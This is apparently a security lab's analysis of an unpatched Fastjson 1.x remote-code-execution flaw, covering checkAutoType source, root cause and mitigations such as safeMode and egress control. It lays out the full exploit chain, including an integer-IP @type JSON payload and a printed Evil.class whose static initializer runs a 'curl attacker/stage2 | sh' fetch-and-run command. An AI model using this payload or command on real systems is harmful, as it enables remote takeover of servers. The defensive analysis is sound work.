Vulnerability Research

CVE-2026-16723: Fastjson 1.x Pre Auth RCE Detailed Analysis

By SecureLayer7 Lab

32 min read

CVE-2026-16723: Fastjson 1.x Pre Auth RCE Detailed Analysis

Fastjson is Alibaba’s high-performance Java JSON library, and it is quietly one of the most consequential pieces of infrastructure in the modern Java stack. It is the default JSON layer for large portions of the Chinese cloud ecosystem — Alibaba Cloud, Tencent, JD, and the long tail of enterprise vendors that ship inside those clouds — and it is used in tens of thousands of Spring Boot applications globally, usually because a team benchmarked it against Jackson years ago, found it faster, and never revisited the decision. The install base is enormous, the deployment surface is unglamorous, and the security history is turbulent.

That history matters here. Since AutoType was introduced in the mid-2010s, Fastjson has undergone six documented rounds of security hardening around a single function: ParserConfig.checkAutoType(). Every round was a reaction to a public gadget-chain RCE. The blacklist was introduced in 1.2.25 after CVE-2017-18349. The blacklist was upgraded to a hashed rolling FNV in 1.2.42 to close cache-bypass tricks. safeMode was added in 1.2.68 to give operators a global kill-switch. expectClass was tightened in 1.2.75 to stop the Throwable / AutoCloseable subclass tricks. CVE-2022-25845 forced another expectClass fix in 1.2.83. By the time 1.2.83 shipped, checkAutoType() had become one of the most-audited pieces of code in the Java security world — a ~180-line method scrutinized by every major offensive-research shop and defended by an unusually motivated maintainer team.

CVE-2026-16723 bypasses all of it. Not by finding a hole in the blacklist. Not by inventing a new gadget class. The bypass avoids the audited code path entirely: it uses the JVM’s class loader as the exploitation primitive, and it reaches that primitive through Fastjson’s least-audited branch — the @JSONType annotation trust check. Discovered by FearsOff Cybersecurity and disclosed on 2026-07-21, the CVE was publicly acknowledged only after Alibaba had already observed active exploitation in the wild.

As of publication on 2026-07-31 — ten days after disclosure — Alibaba has not released a patched Fastjson 1.x version and has stated they will not. Fastjson 1.x is declared end-of-life, and users are directed to migrate to Fastjson2. Every Spring Boot deployment running Fastjson 1.2.68 through 1.2.83 with default safeMode settings is exposed, with only workarounds available. That population is not small.

The structural story here is worth stating up front, because it is what this article is really about: this bug is Log4Shell in a different serializer. Same underlying capability — the JVM’s willingness to fetch remote code via a nested URL protocol. Same application-layer trust bypass shape. Same industry-wide failure, five years after Log4Shell, to remove the class-loader-as-primitive pattern from the JVM’s default class loaders. The next bug in this class is not a matter of if.

Vulnerability Overview

attack flow cve-2026-16723
CVE-2026-16723 attack chain: unauthenticated JSON body to RCE via @JSONType trust + jar:http remote class loading + integer-IP normalization bypass

The chain has six steps and every one of them is deterministic. There is no timing race, no memory-corruption fragility, no side-channel to characterize. A pre-authentication attacker sends one JSON body to any endpoint that calls JSON.parseObject() on user input, and the JVM at the other end fetches and executes attacker-controlled bytecode as a side effect of parsing.

Step 1 — Prepare evil.jar. The attacker compiles a trivial Java class annotated with @JSONType and containing a static initializer that calls Runtime.getRuntime().exec(). Fastjson’s @JSONType is a developer-facing annotation used to mark classes as safe for polymorphic deserialization, and the annotation is the trust token that unlocks the vulnerable code path. The static initializer is what fires the RCE — the JVM specification guarantees it runs the moment the class is prepared for use.

Step 2 — Host the JAR. The attacker hosts evil.jar on any HTTP server they control, most trivially with python3 -m http.server 8080. No TLS is needed; the JVM’s URLClassLoader will happily fetch plaintext HTTP.

Step 3 — Convert the attacker’s IP to integer form. This is the encoding trick that makes the payload survive Fastjson’s internal string normalization. The IPv4 address 192.168.1.100 becomes the 32-bit integer 3232235876. Integer-form IPs have no dots, and dot-free hostnames are the specific shape that survives Fastjson’s . → / transformation intact.

Step 4 — Send the crafted JSON. The attacker sends { “@type”:”jar : http:..3232235876:8080.evil!.Evil” } as the body of any HTTP request that reaches Fastjson’s parser. On the wire this looks like an ordinary JSON object; there is no encoding, no binary payload, nothing that would catch a naïve WAF rule tuned for classical Fastjson gadget-chain payloads like com.sun.rowset JdbcRowSetImpl.

Step 5 — Fastjson’s checkAutoType() fires the two-step remote fetch. The blacklist check misses because jar: is not a Java class-name prefix and no gadget-class hash matches. Execution falls into the @JSONType annotation detection branch, which calls defaultClassLoader.getResourceAsStream(“jar:http://3232235876:8080/evil!/Evil.class”) — and on Spring Boot’s LaunchedURLClassLoader (which inherits URLClassLoader), that call opens an HTTP connection to the attacker, downloads the JAR, extracts the .class entry, and hands the bytes back as a stream. Fastjson parses those bytes with ASM’s ClassReader (which does not execute bytecode), sees the @JSONType annotation, sets jsonType = true, and then calls TypeUtils.loadClass() — which triggers the JVM’s real class loading path and runs <clinit>.

Step 6 — RCE. The static initializer executes Runtime.exec() as the JVM process user. Fastjson subsequently returns the loaded class as “trusted” via the @JSONType branch, but by that point the payload has already fired. Whatever the caller of JSON.parseObject() intended to do with the returned object is irrelevant.

At a glance: CVSS 9.0 Critical (some scoring authorities publish 9.8), pre-authentication if the vulnerable endpoint accepts unauthenticated requests, no user interaction required, wire signature is a JSON body containing “@type”:”jar: — usually with “jar:http:..” (double-dot) as the tell of integer-IP encoding — and the vulnerability is unpatched with confirmed active exploitation in the wild.

Root Cause Analysis

The four gates of ParserConfig.checkAutoType(): safeMode (green — off by default falls through), FNV-1a blacklist (green — jar: not a Java class shape, falls through), @JSONType detection (orange — REMOTE FETCH #1), TypeUtils.loadClass (red — REMOTE FETCH #2 + <clinit>)

The @JSONType annotation trust branch

ParserConfig.checkAutoType() has a specific branch that dates back to the earliest days of the safeMode-era code: after the blacklist check misses, Fastjson attempts to detect whether the target class carries the @JSONType annotation. If it does, Fastjson considers the class “trusted” and returns it to the caller as-is, skipping every subsequent whitelist check, expectClass filter, and ClassLoader / DataSource / RowSet guard that the method’s designers layered in as blast-radius reducers.

The design intent behind this branch is defensible. @JSONType is a developer-facing annotation. Application authors mark their own DTOs and value classes with it to say, in effect, “yes, this class is meant to participate in polymorphic deserialization.” Trusting a developer’s own annotation is not obviously wrong; it is the same shape of trust decision that every serialization library makes for @JsonTypeInfo (Jackson), @Type (Hibernate), or [JsonDerivedType] (System.Text.Json). The library trusts what the developer wrote in their own source tree.

The security defect is subtler than “the trust decision is wrong.” The trust decision is fine when the class being annotated is a class that already exists in the application’s classpath. The defect is that nothing prevents an attacker from writing a class carrying @JSONType and hosting it remotely. The annotation is attacker-controlled if the class itself is attacker-controlled, and — as the next subsection shows — the class ends up being attacker-controlled because Fastjson uses the JVM’s class loader to fetch the annotation-check bytes, and the JVM’s class loader natively speaks jar:http://.

The actual mechanism: a two-step remote fetch, not “load-before-check”

There is a persistent piece of misinformation in early writeups of this bug: that Fastjson’s TypeUtils.loadClass() runs before the annotation check, so the class gets loaded (and <clinit> fires) before Fastjson ever looks at the annotation. That is not what the 1.2.83 source does. The correct mechanism is a two-step remote fetch, and understanding it correctly matters because the “fix” implied by the wrong mechanism (reorder the check to precede the load) would not actually fix the bug.

The real code path in the vulnerable branch of checkAutoType():

  1. Take the input typeName, apply .replace(‘.’, ‘/’), and append .class to construct a resource name.
  2. Call defaultClassLoader.getResourceAsStream(resource). On Spring Boot’s LaunchedURLClassLoader, this method inherits URLClassLoader.getResourceAsStream(), which recognizes the jar:http:// prefix and opens an HTTP connection to fetch the JAR. This is the first remote fetch. It returns an InputStream over the raw bytes of Evil.class, extracted from the downloaded JAR.
  3. Feed the stream to ASM’s ClassReader, a bytecode-parsing library that walks the class file format without executing any of the bytecode inside it. Detect whether @JSONType is present on the class.
  4. If yes, set jsonType = true and call TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass). This is the JVM’s real class-loading path — it invokes defaultClassLoader.loadClass(), which fetches (or reuses cached) bytes, calls defineClass() in the JVM, and, critically, runs the class’s <clinit> static initializer. This is where the RCE fires.

The two-step design is Fastjson being clever — the maintainers wanted to check the annotation without loading the class into the JVM (which would trigger <clinit> and expose the very RCE they were trying to avoid). ASM’s ClassReader is the safe-parsing tool for exactly this purpose: it reads bytecode without running it. If the class does not carry @JSONType, Fastjson never calls loadClass on the untrusted name and no code executes. That part of the design is defensible.

The bug is that the annotation-check bytes themselves have to come from somewhere, and Fastjson gets them from defaultClassLoader.getResourceAsStream() — which, on any URLClassLoader-derived loader, will honor jar:http:// and fetch the bytes remotely from the attacker’s server. The “safe” ASM parse is safe from executing the class, but it is not safe from the remote fetch that precedes it. The attacker’s server serves bytes carrying @JSONType. ASM parses the annotation. jsonType becomes true. Step 4 fires. RCE.

There is a second, subtler consequence of the correct mechanism. Even if we reordered the branch to load the class before checking the annotation (or vice versa), the bug remains — because both steps involve a remote fetch on URLClassLoader. The only correct fix is to prevent getResourceAsStream and loadClass from being called with an attacker-controlled string at all, which is what safeMode does and what the Fastjson2 architectural change enforces.

The jar:http:// URL protocol and Spring Boot’s LaunchedURLClassLoader

The JVM natively supports the jar: URL protocol, defined as jar:<inner_url>!/<entry>. When the inner URL is http://, the JVM downloads the JAR from that URL and extracts the requested entry. This is standard, documented JVM behavior — it exists because remote JAR loading is genuinely useful for Java Web Start, applets (historically), and various legitimate remote-classloader use cases.

Spring Boot’s LaunchedURLClassLoader is a direct subclass of URLClassLoader. It exists to make executable fat JARs work: when you java -jar myapp.jar, Spring Boot’s loader unpacks the nested JARs, sets up the classpath, and hands control to the application. It is the default class loader on every Spring Boot deployment, including the ones running your Fastjson-consuming REST APIs.

When Fastjson calls defaultClassLoader.loadClass(“jar:http://attacker:8080/evil.jar!/Evil”), the URLClassLoader machinery does the following, in order:

  1. Recognize the jar: protocol prefix.
  2. Extract the inner URL http://attacker:8080/evil.jar.
  3. Open an HTTP connection to attacker:8080.
  4. GET /evil.jar.
  5. Parse the JAR archive and locate the Evil.class entry.
  6. Call defineClass() on the extracted bytes, which registers the class in the JVM and initializes it.

Every step is standard JVM behavior. Nothing in Fastjson’s design contemplated that this chain was reachable from a JSON deserializer, and nothing in Spring Boot’s LaunchedURLClassLoader contemplated it either — but it is, because Fastjson passes the raw attacker-controlled class-name string to the class loader without ever asking “is this a plausible Java class name?” A three-line whitelist check (must match ^[a-zA-Z_$][a-zA-Z0-9_$.]*$) would have prevented the entire bug class.

The integer-IP encoding bypass

Fastjson applies one specific string transformation to the type name before handing it to getResourceAsStream or loadClass: typeName.replace(‘.’, ‘/’). The intent is to convert Java’s dotted class-name format (com.example.Foo) into the JVM’s internal slash-separated format (com/example/Foo). This is a routine and correct transformation for the AutoType path’s intended use case.

Applied to a jar:http:// URL with a dotted IPv4 address, however, the transformation destroys the URL. The attacker’s target is jar:http://192.168.1.100:8080/evil!/Evil, but if they encode it directly as @type, they must first spell the URL in a way that survives Fastjson’s later . → /. If they use dotted IPs, the dots inside the IP get replaced too, and the resulting jar:http://192/168/1/100:8080/evil!/Evil is malformed and unusable.

The bypass is integer-IP encoding. Every IPv4 address has a valid 32-bit integer representation: 192.168.1.100 is (192<<24) | (168<<16) | (1<<8) | 100, which equals 3232235876. Integer IPs have no dots, so they pass through Fastjson’s replacement untouched. The attacker’s @type payload becomes “jar:http:..3232235876:8080.evil!.Evil” — after .replace(‘.’, ‘/’), it becomes “jar:http://3232235876:8080/evil!/Evil”, a syntactically valid URL. The double-dot at the front (jar:http:..) is what reconstructs to the URL’s // scheme-separator after the transformation, and the single dots elsewhere (before evil, before Evil) reconstruct to the / path-separators.

The integer-IP decoding is native java.net.URL behavior, not a Fastjson quirk. When the JVM parses http://3232235876:8080/… and resolves the host, URL.getHost() decodes 3232235876 back to 192.168.1.100 transparently, and the underlying socket connect uses the decoded address. This behavior has been in the JDK since at least Java 1.4 and is documented in the RFC-3986 whatever-goes-in-the-authority-segment corner. It is not a bug in the JDK. It is the specific mechanism that lets an attacker reverse Fastjson’s . → / normalization.

<clinit> static initializers auto-execute at class load

The Java Virtual Machine specification guarantees that every class’s static initialization block — the <clinit> method in JVM bytecode — runs exactly once, at the moment the class is first prepared for use. “First prepared for use” is a specific JVM concept that includes: first new of the class, first static-field access, first static-method call, first reflective access via Class.forName, or first defineClass() completion in a ClassLoader. This is a JVM-level guarantee, not an application-level convention that Fastjson could opt out of.

The attacker’s Evil.class contains:

public class Evil {
    static {
        try {
            Runtime.getRuntime().exec(new String[] {
                "/bin/sh", "-c", "curl attacker/stage2 | sh"
            });
        } catch (Exception e) {}
    }
}

The instant TypeUtils.loadClass() triggers defineClass() on the attacker’s bytes, the JVM prepares the class for use, which runs <clinit>, which runs Runtime.exec. No method call needed. No object instantiation needed. No caller-side use of the returned Class<?> needed. The class being loaded is sufficient.

This is why every proposed mitigation that focuses on “trust decisions” or “check ordering” misses the point. Even if Fastjson checked the annotation before loading the class (which, per the previous subsection, is actually what it does), the class still gets loaded in step 4 if the annotation check succeeded — and step 4 fires <clinit>. The only correct fix is to prevent the remote fetch from happening in the first place, and the only way to do that in Fastjson’s current design is safeMode, which shuts the whole checkAutoType path off.

Why the checkAutoType hardening missed this

Fastjson’s checkAutoType() has been through six documented rounds of security hardening since 1.2.25: introduction of the blacklist, the hashed-blacklist upgrade, the cache-bypass fix, the safeMode option, the expectClass mechanism, and the CVE-2022-25845 fix. Every one of those rounds targeted the AutoType type-instantiation path — the code that reads @type, looks up a class, and constructs an instance for polymorphic deserialization. None of them touched the @JSONType annotation-trust branch, because that branch was considered a legitimate developer-facing feature and not part of the untrusted-input attack surface.

The remote-class-loading capability of URLClassLoader is a JVM feature, not a Fastjson feature, and it never appeared on Fastjson’s audit surface. The maintainers were looking at Fastjson’s code. The bug lives at the interface between Fastjson and the JVM class loader, and — worse — at the interface between Fastjson and someone else’s chosen class loader, since defaultClassLoader is whatever the JVM says it is, and on Spring Boot that is LaunchedURLClassLoader.

This is the same audit-blind-spot pattern as Log4Shell. In 2021, the vulnerable JNDI+LDAP lookup in Log4j had been a legitimate Log4j feature for years. Every Log4j security audit had focused on log-injection, format-string bugs, and denial-of-service. The ${ jndi:… } template expansion was documented, intentional, and — by the audit consensus — not attacker-reachable. Until, one weekend in December 2021, everyone discovered it was attacker-reachable in essentially every Java application that logged user input. The Fastjson 1.2.83 audit surface had a similar blind spot in a similar shape, and the class-loader-as-primitive pattern is the common thread.

Patch Diffing

There is no patch — Fastjson 1.x is EOL

This is the strangest patch-diffing section in the SL7 archive, because there is no patch. Alibaba has not released a fixed Fastjson 1.x version and, per their advisory, will not release one. They consider 1.x end-of-life and direct users to migrate to Fastjson2 (the entirely-rewritten successor, hosted at a separate GitHub repository).

The consequence for defenders is that the population of vulnerable installs on 2026-07-31 is essentially the same as it was on 2026-07-21. Every deployment that has not enabled safeMode, deployed a WAF rule, or migrated to Fastjson2 is still exposed. There is no upgrade command that closes the bug on the affected version tree. The workaround landscape is what defenders have.

Instead of a git show terminal capture, this section shows the architectural difference between Fastjson 1.x and Fastjson2 — which is where the durable fix lives.

Fastjson2’s architectural fix

Fastjson2 disables AutoType by default. The @type field is no longer honored for arbitrary class loading; it is only honored when the deserialization target is a well-known Fastjson2-tracked type registered via AutoTypeCheckHandler or through the application’s explicit whitelist. The @JSONType annotation is still supported for legitimate developer use, but the trust branch no longer bypasses the AutoType-disable check — the annotation is inspected only for classes that Fastjson2 has already decided to load through the normal application classpath.

The two entry-point methods have deliberately different names. Fastjson 1.x has ParserConfig.checkAutoType(). Fastjson2 has ObjectReaderProvider.autoType(). The rename is a signal from the maintainers to audit consumers: the semantics changed, so don’t assume the old audit conclusions carry over. Anyone porting Fastjson-1-hardening code to Fastjson2 has to relearn the flow, which is arguably the right thing to force.

In the Fastjson 1.x code path, checkAutoType() proceeded from the safeMode gate through the blacklist and into the @JSONType remote-fetch branch, and the trust decision was made after the class was fetched. In the Fastjson2 code path, autoType() first checks whether the target class name is on the tracked-types allowlist — a small, curated set of Fastjson2-native types plus whatever the application explicitly registered — and rejects unknown names immediately without any class-loader call. There is no remote-fetch primitive in this code path because there is no code-loader call on an untrusted string.

The workarounds landscape

For teams that cannot migrate to Fastjson2 immediately, Alibaba documents four workarounds. Their tradeoffs are different, and understanding the tradeoffs matters for the “which do I deploy?” decision.

Workaround 1: Enable safeMode. Set -Dfastjson.parser.safeMode=true as a JVM flag, or call ParserConfig.getGlobalInstance().setSafeMode(true) in the application’s startup path. safeMode causes checkAutoType() to throw unconditionally at the top of the method, disabling @type handling entirely. This is the fastest emergency mitigation — one JVM restart, one flag — and it fully closes the CVE-2026-16723 code path. The tradeoff is that any application that legitimately uses @type for polymorphic deserialization (some Fastjson-native class hierarchies do) will break. Teams must audit their JSON usage before flipping this switch.

Workaround 2: The 1.2.83_noneautotype variant. Alibaba maintains a stripped Maven artifact, com.alibaba:fastjson:1.2.83_noneautotype, that has AutoType removed at compile time. Deploying it has the same effect as safeMode — no @type handling — but is a code change rather than a runtime flag, which some deployment pipelines prefer. Same breakage tradeoff as safeMode.

Workaround 3: Migrate to Fastjson2. The durable fix. Non-trivial for large codebases because Fastjson2’s API surface differs from Fastjson 1.x in more than a few places, but architecturally the correct answer. Teams that are already planning a modernization pass should fold Fastjson2 migration into it.

Workaround 4: Network egress control. Deny outbound HTTP from the JVM process. If the JVM cannot reach the attacker’s server, the remote JAR fetch fails, and the exploit chain breaks even if the bypass triggers at the Fastjson layer. This is a defense-in-depth control rather than a Fastjson-specific fix — it mitigates every future jar:http://-shaped bug in every other Java library on the same host, not just this one. Every Fastjson deployment that already sits behind egress-restricted networking is passively mitigated.

The first three workarounds fix Fastjson’s role in the chain. The fourth fixes the class-loader-as-primitive capability itself, and is the only one that generalizes to the next bug in this class — which, per the Introduction, is a near-certainty.

Static Analysis

All code below is fetched verbatim from com.alibaba.fastjson.parser.ParserConfig at the tagged 1.2.83 release. The full checkAutoType() method is ~180 lines; this section walks the vulnerable path in order and highlights the four places where the bypass mechanics live.

File: https://github.com/alibaba/fastjson/blob/1.2.83/src/main/java/com/alibaba/fastjson/parser/ParserConfig.java (Fastjson 1.2.83)

1) The safeMode gate — the only real defense

 safeMode gate
ParserConfig.java — the safeMode gate. Enabling safeMode causes checkAutoType to throw unconditionally at the top of the method; every downstream check lives past this line.
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
    if (typeName == null) {
        return null;
    }
    // ...
 
    final int safeModeMask = Feature.SafeMode.mask;
    boolean safeMode = this.safeMode
            || (features & safeModeMask) != 0
            || (JSON.DEFAULT_PARSER_FEATURE & safeModeMask) != 0;
    if (safeMode) {
        throw new JSONException("safeMode not support autoType : " + typeName);        // (1)
    }
    // ...
}

Point (1) is the entire mitigation. The safeMode branch throws immediately, refusing every @type value without exception and without proceeding to any downstream logic. Every Alibaba-recommended workaround — the -Dfastjson.parser.safeMode=true JVM flag, the ParserConfig.setSafeMode(true) setter, the 1.2.83_noneautotype artifact — is a different way of arriving at this branch. If safeMode is on at parse time, the rest of checkAutoType never runs and CVE-2026-16723 is unreachable.

On a default install, safeMode is OFF. this.safeMode defaults to false, no Feature.SafeMode bit is set on the parser, and DEFAULT_PARSER_FEATURE does not include it. So the throw does not fire and execution continues into the vulnerable body of the method — through the blacklist, through the cache lookups, and into the annotation-detection branch that carries the remote-fetch primitive.

2) The blacklist / whitelist rolling FNV-1a — clever but not defending the @JSONType path

 String className = typeName.replace('$', '.');                                     // (2)
    Class<?> clazz;
 
    final long h1 = (fnv1a_64_magic_hashcode ^ className.charAt(0)) * fnv1a_64_magic_prime;
    if (h1 == 0xaf64164c86024f1aL) { // [
        throw new JSONException("autoType is not support. " + typeName);
    }
 
    if ((h1 ^ className.charAt(className.length() - 1)) * fnv1a_64_magic_prime == 0x9198507b5af98f0L) {
        throw new JSONException("autoType is not support. " + typeName);
    }
 
    // rolling FNV-1a hash of every prefix through the class name;
    // checked against internalDenyHashCodes and denyHashCodes at each step
    if (internalDenyHashCodes != null) {
        long hash = h3;
        for (int i = 3; i < className.length(); ++i) {
            hash ^= className.charAt(i);
            hash *= fnv1a_64_magic_prime;
            if (Arrays.binarySearch(internalDenyHashCodes, hash) >= 0) {
                throw new JSONException("autoType is not support. " + typeName);
            }
        }
    }

Point (2) is worth explaining because a lot of write-ups get it wrong. Fastjson does not use a naïve string blacklist. It uses a rolling FNV-1a hash over every prefix of the class name, comparing each intermediate hash against sorted arrays of hash values (internalDenyHashCodes, denyHashCodes). This is O(n log m) where n is the type name length and m is the blacklist size — faster than any string-comparison blacklist would be, and hash-based blacklists mean the actual “banned strings” are not visible in the JAR, which slightly slows attacker research.

The design serves the AutoType path well. It stops com.sun.rowset.JdbcRowSetImpl, org.springframework.context.support.FileSystemXmlApplicationContext, com.mchange.v2.c3p0.JndiRefForwardingDataSource, and every gadget class the security community has ever published for Fastjson. It does not help against CVE-2026-16723 because the attacker’s type name is “jar:http:..3232235876:8080.evil!.Evil” — the first character is j, the class-name shape is nothing like a Java identifier, and jar: is not in any of the hash lists.

More importantly, even if jar: were added to the blacklist, the attacker’s real primitive would still be reachable through variant encodings — Jar:, JAR:, jar : with a space, JAR with other inner URL protocols (jar:https://, jar:ftp://). The blacklist approach is fundamentally the wrong shape of defense for a bug whose primitive is “attacker-controlled string reaches URLClassLoader.” The right shape is a positive class-name validator, applied before any class-loader interaction.

3) The @JSONType annotation detection — the actual remote-fetch primitive

the vulnerable primitive
ParserConfig.java — the @JSONType detection branch. Line 4 constructs the resource path via .replace(‘.’,’/’), line 6 fetches remote bytes through URLClassLoader, and line 24 calls TypeUtils.loadClass which fires <clinit>.

This is the specific block that matters for CVE-2026-16723. It runs after all the blacklist / whitelist checks and after the mapping / cache lookups:

   boolean jsonType = false;
    InputStream is = null;
    try {
        String resource = typeName.replace('.', '/') + ".class";                       // (3)
        if (defaultClassLoader != null) {
            is = defaultClassLoader.getResourceAsStream(resource);                     // (4)
        } else {
            is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
        }
        if (is != null) {
            ClassReader classReader = new ClassReader(is, true);                       // (5)
            TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
            classReader.accept(visitor);
            jsonType = visitor.hasJsonType();
        }
    } catch (Exception e) {
        // skip                                                                        // (6)
    } finally {
        IOUtils.close(is);
    }
 
    if (autoTypeSupport || jsonType || expectClassFlag) {
        boolean cacheClass = autoTypeSupport || jsonType;
        clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);         // (7)
    }

Point (3) — the . → / normalization. The attacker’s typeName enters this block as “jar:http:..3232235876:8080.evil!.Evil”. After .replace(‘.’, ‘/’), typeName becomes “jar:http://3232235876:8080/evil!/Evil”. Then .class is appended, producing “jar:http://3232235876:8080/evil!/Evil.class” — a syntactically valid JAR-inside-URL string that any URLClassLoader-derived loader will recognize.

Point (4) is the actual vulnerable primitive. defaultClassLoader is Spring Boot’s LaunchedURLClassLoader (or any URLClassLoader-derived class loader used by the surrounding JVM). Its getResourceAsStream() implementation is inherited from URLClassLoader, which recognizes jar:http:// and opens an HTTP connection to fetch the JAR, then extracts the .class entry as an InputStream. This call — not TypeUtils.loadClass() — is the moment the attacker’s server is contacted and the attacker’s bytes enter the JVM process.

This is subtler than the “pseudocode” version of the bug most write-ups describe. Fastjson is being clever here: it wants to check for @JSONType without loading the class into the JVM’s ClassLoader (which would trigger <clinit> and expose the very RCE Fastjson is trying to avoid). So it grabs the raw bytes via getResourceAsStream and parses them with ASM ClassReader, which does not execute any bytecode. That part of the design is defensible in isolation.

The bug is that getResourceAsStream still fetches the bytes remotely. Attacker’s HTTP server serves the bytes. Attacker’s bytes carry @JSONType. ASM parses the annotation. jsonType becomes true. The safety of ASM’s byte-only parsing is real, but it only covers “did we execute the class?” — it does not cover “did we fetch attacker-controlled bytes?” And once those bytes are fetched and parsed, jsonType = true unlocks step 7.

Point (5) — ASM’s ClassReader is a bytecode-parsing library, not a bytecode-executing library. It walks the class file format, decodes the constant pool, and enumerates the class’s methods and annotations without invoking any of them. This is the same tool that IDE inspection engines, dependency-analysis tools, and static-analysis frameworks use to reason about compiled classes safely. The safety here is real but narrow: no bytecode from Evil.class runs during this step. <clinit> has not fired yet.

Point (6) — the catch (Exception e) silently swallows any error from the fetch and continues. If the attacker’s server is unreachable, if the response is not a valid JAR, if the JAR is missing the requested entry, if any of a dozen intermediate failure modes trigger — no exception propagates up the stack. jsonType stays false and Fastjson falls through to the next check. This means the attacker gets no wire-level signal that Fastjson tried to fetch, which is useful for reconnaissance: a probe with a deliberately-unreachable attacker URL confirms the code path is live without triggering an error visible to the application layer. Silent probing is possible.

Point (7) — after jsonType is set to true, Fastjson calls TypeUtils.loadClass(). This DOES trigger the JVM’s real class-loading path, which DOES call defineClass() on the (cached or refetched) bytes, which DOES run <clinit>, which fires the RCE. The cacheClass parameter is autoTypeSupport || jsonType, so jsonType = true on its own is sufficient to make the class get cached after loading — which means a follow-up parse of the same @type value hits the cache without another remote fetch.

The two-step design — parse bytes safely, confirm annotation, then formally load — is what makes this bug non-obvious to readers of the code. A reviewer looking at this branch sees “we check the annotation before loading, so we’re safe from attacker-controlled loading” and moves on. The insight the reviewer needs is that the annotation check itself is the primitive. The attacker does not need loadClass to be called first; getResourceAsStream is enough to establish the remote fetch. loadClass is what fires the payload, but the remote fetch that proves the class name is exploitable happens in step 4.

4) TypeUtils.loadClass — the RCE firing point

ParserConfig.java — the @JSONType trust branch. Once jsonType is true the loaded class is returned directly, bypassing the ClassLoader / DataSource / RowSet guards further down the method.

The final call chain, at the tail of checkAutoType:

 if (autoTypeSupport || jsonType || expectClassFlag) {
        boolean cacheClass = autoTypeSupport || jsonType;
        clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
    }
 
    if (clazz != null) {
        if (jsonType) {
            if (autoTypeSupport) {
                TypeUtils.addMapping(typeName, clazz);
            }
            return clazz;                                                              // (8)
        }
        // ... expectClass checks, ClassLoader/DataSource/RowSet blocks, ...
    }

Point (8) — the @JSONType trust branch. Once jsonType is true, Fastjson returns the loaded class directly, bypassing the ClassLoader.class.isAssignableFrom(clazz), javax.sql.DataSource.class.isAssignableFrom(clazz), and javax.sql.RowSet guards that appear later in the method. The blast-radius reduction those guards provide (block loading of a ClassLoader subclass, block loading of a DataSource) is disabled entirely for @JSONType-annotated classes.

But the return clazz; branch is largely moot for the attacker — the RCE already happened during TypeUtils.loadClass() when the JVM ran <clinit>. Whether Fastjson returns the class, throws an exception, or crashes after that point is irrelevant to the attacker; the attacker’s payload has already exited the JVM’s control by shelling out to Runtime.exec.

TypeUtils.loadClass semantics, briefly (from com.alibaba.fastjson.util.TypeUtils):

  • If typeName starts with L and ends with ; (JVM internal descriptor), strip and recurse.
  • If typeName contains /, try defaultClassLoader.loadClass(typeName).
  • On success, return the class. Class loading triggers static initialization.

The attacker’s Evil.class static initializer, as a reminder:

public class Evil {
    static {
        try {
            Runtime.getRuntime().exec(new String[] {
                "/bin/sh", "-c", "curl attacker/stage2 | sh"
            });
        } catch (Exception e) {}
    }
}

Nothing calls a method on Evil. Nothing instantiates it. Nothing dereferences the returned Class<?>. The JVM’s “prepare class for use” step guarantees <clinit> runs exactly once, at first reference, which is the defineClass() inside loadClass above. RCE fires as a side effect of the class being loaded — the class does not need to be used.

5) The URL construction — how the attacker’s @type value survives .replace(‘.’, ‘/’)

URL construction
Integer-IP encoding: how “jar:http:..3232235876:8080.evil!.Evil” reconstructs into “jar:http://3232235876:8080/evil!/Evil” after Fastjson’s dot-to-slash normalization

The transformation trace:

StepValue
Attacker’s intended URLjar:http://3232235876:8080/evil!/Evil
Attacker’s @type payload (dots as slash placeholders)jar:http:..3232235876:8080.evil!.Evil
Fastjson typeName.replace(‘.’, ‘/’) outputjar:http://3232235876:8080/evil!/Evil
Appended .class for getResourceAsStreamjar:http://3232235876:8080/evil!/Evil.class
JVM URLClassLoader parsesprotocol jar, inner URL http://3232235876:8080/evil, entry Evil.class
JVM opens HTTP connection tohost 3232235876:8080 — java.net.URL decodes 3232235876 as 192.168.1.100 natively
JVM extractsEvil.class from the downloaded JAR
JVM defines and initializes<clinit> runs, Runtime.exec fires

The reason integer-IP encoding matters is that Fastjson’s .replace(‘.’, ‘/’) is applied to the entire typeName string, including the host segment. If the attacker uses a dotted IPv4 or a hostname with dots (i.e., almost any real hostname), the dots in the host get replaced with slashes, and the URL breaks. Integer-IP encoding survives replacement because the encoded host has no dots.

There are theoretical alternative encodings — IPv6 without dots inside brackets like [fd00::1], hex-encoded IPv4 like 0xC0A80164, mixed dotted-decimal / hex forms — but integer-decimal is the cleanest primitive. Every IPv4 has a valid 32-bit integer form. Every published PoC uses this encoding, and the WeChat article that decoded the technique presents it as the canonical bypass.

6) Why the safeMode branch blocks everything

Because safeMode’s throw is unconditional at the very top of checkAutoType(), enabling it means: points 3, 4, 5, 6 never execute. No getResourceAsStream on attacker input. No ASM parsing of remote bytes. No TypeUtils.loadClass call. No <clinit> firing. The entire vulnerable code path is unreachable.

This is why the recommended emergency mitigation is -Dfastjson.parser.safeMode=true. It does not patch the bug — the bug lives inside a code path that safeMode never enters. Every existing Fastjson 1.x deployment can be mitigated in one JVM restart with one added flag, provided the application does not depend on Fastjson’s @type polymorphic-deserialization feature.

The deployment reality is that applications which do use @type in legitimate JSON — most commonly for Fastjson-native polymorphic deserialization of Java class hierarchies (Kafka message envelopes, RPC request wrappers, tagged-union DTOs) — will break when safeMode is enabled. Teams have to audit their JSON usage first, or use the 1.2.83_noneautotype variant that removes AutoType entirely with the same breakage tradeoff. For teams that can enable safeMode, it is the fastest fix. For teams that cannot, WAF blocking of “@type” : “jar : at the HTTP boundary is the next-best mitigation.

7) PoC verification — the wire signature

PoC verification — the wire signature
Terminal capture: curl POST to a vulnerable Spring Boot endpoint with the @type + jar:http payload, followed by tcpdump showing the outbound HTTP GET to the attacker’s JAR server

